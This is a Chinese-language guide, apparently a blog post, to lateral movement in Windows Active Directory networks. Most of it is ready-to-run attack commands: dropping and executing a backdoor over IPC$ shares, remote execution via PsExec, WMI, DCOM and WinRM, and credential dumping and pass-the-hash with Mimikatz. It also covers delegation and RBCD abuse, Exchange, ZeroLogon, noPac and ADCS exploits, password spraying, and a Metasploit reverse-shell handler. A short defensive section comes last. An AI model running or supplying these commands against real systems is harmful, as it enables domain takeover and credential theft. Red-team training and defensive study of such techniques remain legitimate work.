内网对抗 横向移动
字数 2174 2025-08-29 22:41:24
内网横向移动技术全面指南
1. 域内/域外用户判断
1.1 判断当前权限类型
- 域内用户:能够执行域查询命令并获取正常回显
net user /domain - 域外用户:无法正常执行域查询命令
1.2 域外用户利用方法
- 提权到SYSTEM:SYSTEM权限在域内具有更高权限
- 切换用户:通过Mimikatz抓取明文密码,尝试其他用户上线
- 枚举域内用户:
kerbrute_windows_amd64.exe userenum --dc [IP] -d [域名] [字典文件]
2. 横向移动技术分类
2.1 基于口令凭据
- 协议类型:
- IPC
- SMB
- WMI
- DCOM
- WinRS/WinRM
- RDP
- 认证方式:
- PTH (Pass the Hash)
- PTT (Pass the Ticket)
- PTK (Pass the Key)
2.2 基于漏洞
- 域控提权漏洞
- Exchange漏洞
2.3 基于配置
- 委派攻击
- DCSync
- ASREP Roasting
- Kerberos攻击
- NTLM Relay
3. 具体横向移动技术详解
3.1 IPC$共享利用
利用条件:
- 目标系统为NT及以上
- 开启IPC$共享
- 139/445端口开放
- 有效的账号密码
利用步骤:
- 建立IPC连接:
net use \\[目标IP]\ipc$ "[密码]" /user:[用户名] - 拷贝后门文件:
copy [后门文件] \\[目标IP]\c$\ - 创建计划任务执行:
at \\[目标IP] [时间] cmd /c "c:\后门.exe" - 删除IPC连接:
net use \\[目标IP]\ipc$ /del
3.2 SMB利用
利用条件:
- 文件与打印机服务开启
- 防火墙允许135/445端口通信
- 知道目标账户密码或Hash
利用工具:
- PsExec:
PsExec.exe \\[目标IP] -u [用户] -p [密码] -s cmd - smbexec(Impacket):
python smbexec.py [用户]:[密码]@[目标IP] - CS插件:cs-psexec
3.3 WMI利用
利用条件:
- WMI服务开启(135端口)
- 防火墙允许135/445端口通信
- 知道目标账户密码或Hash
利用方法:
- WMIC命令:
wmic /node:[目标IP] /user:[用户] /password:[密码] process call create "cmd /c [命令]" - Impacket套件:
python wmiexec.py [用户]:[密码]@[目标IP] - CS插件:wmihacker
3.4 DCOM利用
利用条件:
- 目标为Win7及以上系统
- 管理员权限
- 远程主机防火墙未阻止
利用工具:
python dcomexec.py [用户]:[密码]@[目标IP]
3.5 WinRM/WinRS利用
利用条件:
- Win2012之前需手动开启WinRM
- 防火墙开放5985/5986端口
利用方法:
- 探针可用性:
winrm enumerate winrm/config/listener - 执行命令:
winrs -r:[目标IP] -u:[用户] -p:[密码] "cmd.exe /c [命令]"
3.6 RDP利用
利用条件:
- 目标开启RDP服务(3389端口)
利用方法:
- 端口转发映射:
- 使用冰蝎等工具建立HTTP隧道
- Socks代理:
- 建立Socks节点后使用mstsc连接
- SharpRDP工具:
SharpRDP.exe computername=[目标IP] command="[命令]" username=[用户] password=[密码]
4. 认证攻击技术
4.1 PTH (Pass the Hash)
利用方法:
- 直接Hash传递:
mimikatz "sekurlsa::pth /user:[用户] /domain:[域] /ntlm:[NTLM Hash]" - Impacket套件:
python [工具].py -hashes :[NTLM Hash] [用户]@[目标IP]
4.2 PTT (Pass the Ticket)
利用工具:
- MS14-068漏洞利用:
MS14-068.exe -u [用户]@[域] -p [密码] -s [用户SID] -d [DC IP] - Kekeo工具:
kekeo "tgs::s4u /tgt:[TGT文件] /user:[目标用户] /service:[服务]" - 历史票据利用:
mimikatz "kerberos::list /export" mimikatz "kerberos::ptt [票据文件]"
4.3 PTK (Pass the Key)
利用条件:
- 系统安装KB2871997补丁
- 禁用NTLM认证
利用方法:
mimikatz "sekurlsa::ekeys"
mimikatz "sekurlsa::pth /user:[用户] /domain:[域] /aes256:[AES Key]"
5. 委派攻击
5.1 非约束委派
利用条件:
- 机器账户配置"信任此计算机来委派任何服务"
利用方法:
- 诱使域管理员访问:
- 主动:
net use \\[目标] - 被动:钓鱼页面诱导访问
- 主动:
- 结合打印机漏洞:
Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt SpoolSample.exe [DC] [监听主机]
5.2 约束委派
利用条件:
- 机器账户配置"仅信任此计算机来委派指定服务"
利用方法:
- 使用Kekeo工具:
kekeo "tgs::s4u /tgt:[TGT文件] /user:[目标用户] /service:[服务]" - 使用Impacket套件:
python getST.py -dc-ip [DC IP] [域]/[机器账户]$:[密码] -spn [服务SPN] -impersonate [目标用户]
5.3 基于资源的约束委派(RBCD)
利用条件:
- 同一域用户加入多台主机(SID一致)
- 或用户属于Account Operators组
利用方法:
- 创建机器账户:
Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount [新机器名] -Password $(ConvertTo-SecureString '密码' -AsPlainText -Force) - 修改目标主机委派属性:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID])" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer [目标主机] | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} - 申请访问票据:
python getST.py -dc-ip [DC IP] [域]/[新机器账户]$:[密码] -spn [服务SPN] -impersonate [目标用户]
6. Exchange服务攻击
6.1 信息收集
- 端口扫描:80(OWA),443(ECP),25/587/2525(SMTP)
- SPN扫描:
setspn -T [域] -q */* - 版本探测:
python Exchange_GetVersion_MatchVul.py [IP]
6.2 漏洞利用
- ProxyShell(CVE-2021-34473,34523,31207):
python proxyshell.py -u [用户] -p [密码] --host [Exchange IP] - CVE-2020-17144:
CVE-2020-17144.exe -u [用户] -p [密码] -d [域] -c [DC] --target [Exchange IP] - CVE-2020-0688:
python CVE-2020-0688.py [Exchange URL] [用户] [密码]
7. 域控提权漏洞
7.1 CVE-2020-1472 (ZeroLogon)
利用步骤:
- 检测漏洞:
python zerologon_tester.py [DC名称] [DC IP] - 清空凭证:
python cve-2020-1472-exploit.py [DC名称] [DC IP] - 获取域Hash:
python secretsdump.py [域]/[DC名称]\$@[DC IP] -no-pass - 恢复密码:
python reinstall_original_pw.py [DC名称] [DC IP] [原始Hash]
7.2 CVE-2021-42287/42278
利用工具:
python noPac.py -use-ldap "[域]/[用户]:[密码]" -dc-ip [DC IP] -shell
7.3 CVE-2022-26923 (ADCS攻击)
利用步骤:
- 查找易受攻击模板:
python certipy-ad find -u [用户]@[域] -p [密码] -dc-ip [DC IP] -vulnerable - 创建机器账户:
python bloodyAD.py -d [域] -u [用户] -p [密码] --host [DC IP] addComputer [机器名] [密码] - 设置机器属性:
python bloodyAD.py -d [域] -u [用户] -p [密码] --host [DC IP] setAttribute 'CN=[机器名],CN=Computers,DC=[域]' dNSHostName '["DC名称"]' - 申请证书:
python certipy-ad req -username '[机器名]$@[域]' -password '[密码]' -ca [CA名称] -template Machine -debug - 获取域控权限:
python wmiexec.py -hashes :[NTLM Hash] [域]/administrator@[DC IP]
8. 自动化工具
8.1 CrackMapExec
密码喷射:
proxychains crackmapexec smb [IP范围] -u [用户] -p [密码] --local-auth -x "[命令]"
8.2 Impacket套件
包含多种横向移动工具:
- atexec.py
- smbexec.py
- wmiexec.py
- dcomexec.py
- 等
8.3 MSF与CS联动
- CS设置监听器:反弹到MSF
- MSF接收会话:
use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST [IP] set LPORT [端口] exploit - CS执行:
spawn msf
9. 防御建议
-
限制横向移动协议:
- 禁用不必要的协议(如SMBv1)
- 限制RDP、WinRM等远程管理服务的访问
-
强化认证安全:
- 启用LSA保护
- 禁用NTLM认证
- 启用Credential Guard
-
监控与检测:
- 监控异常的计划任务创建
- 检测异常的票据请求
- 监控敏感注册表键值修改
-
补丁管理:
- 及时安装安全补丁
- 重点关注域控和Exchange服务器
-
最小权限原则:
- 限制域用户权限
- 严格控制委派设置
- 定期审计账户权限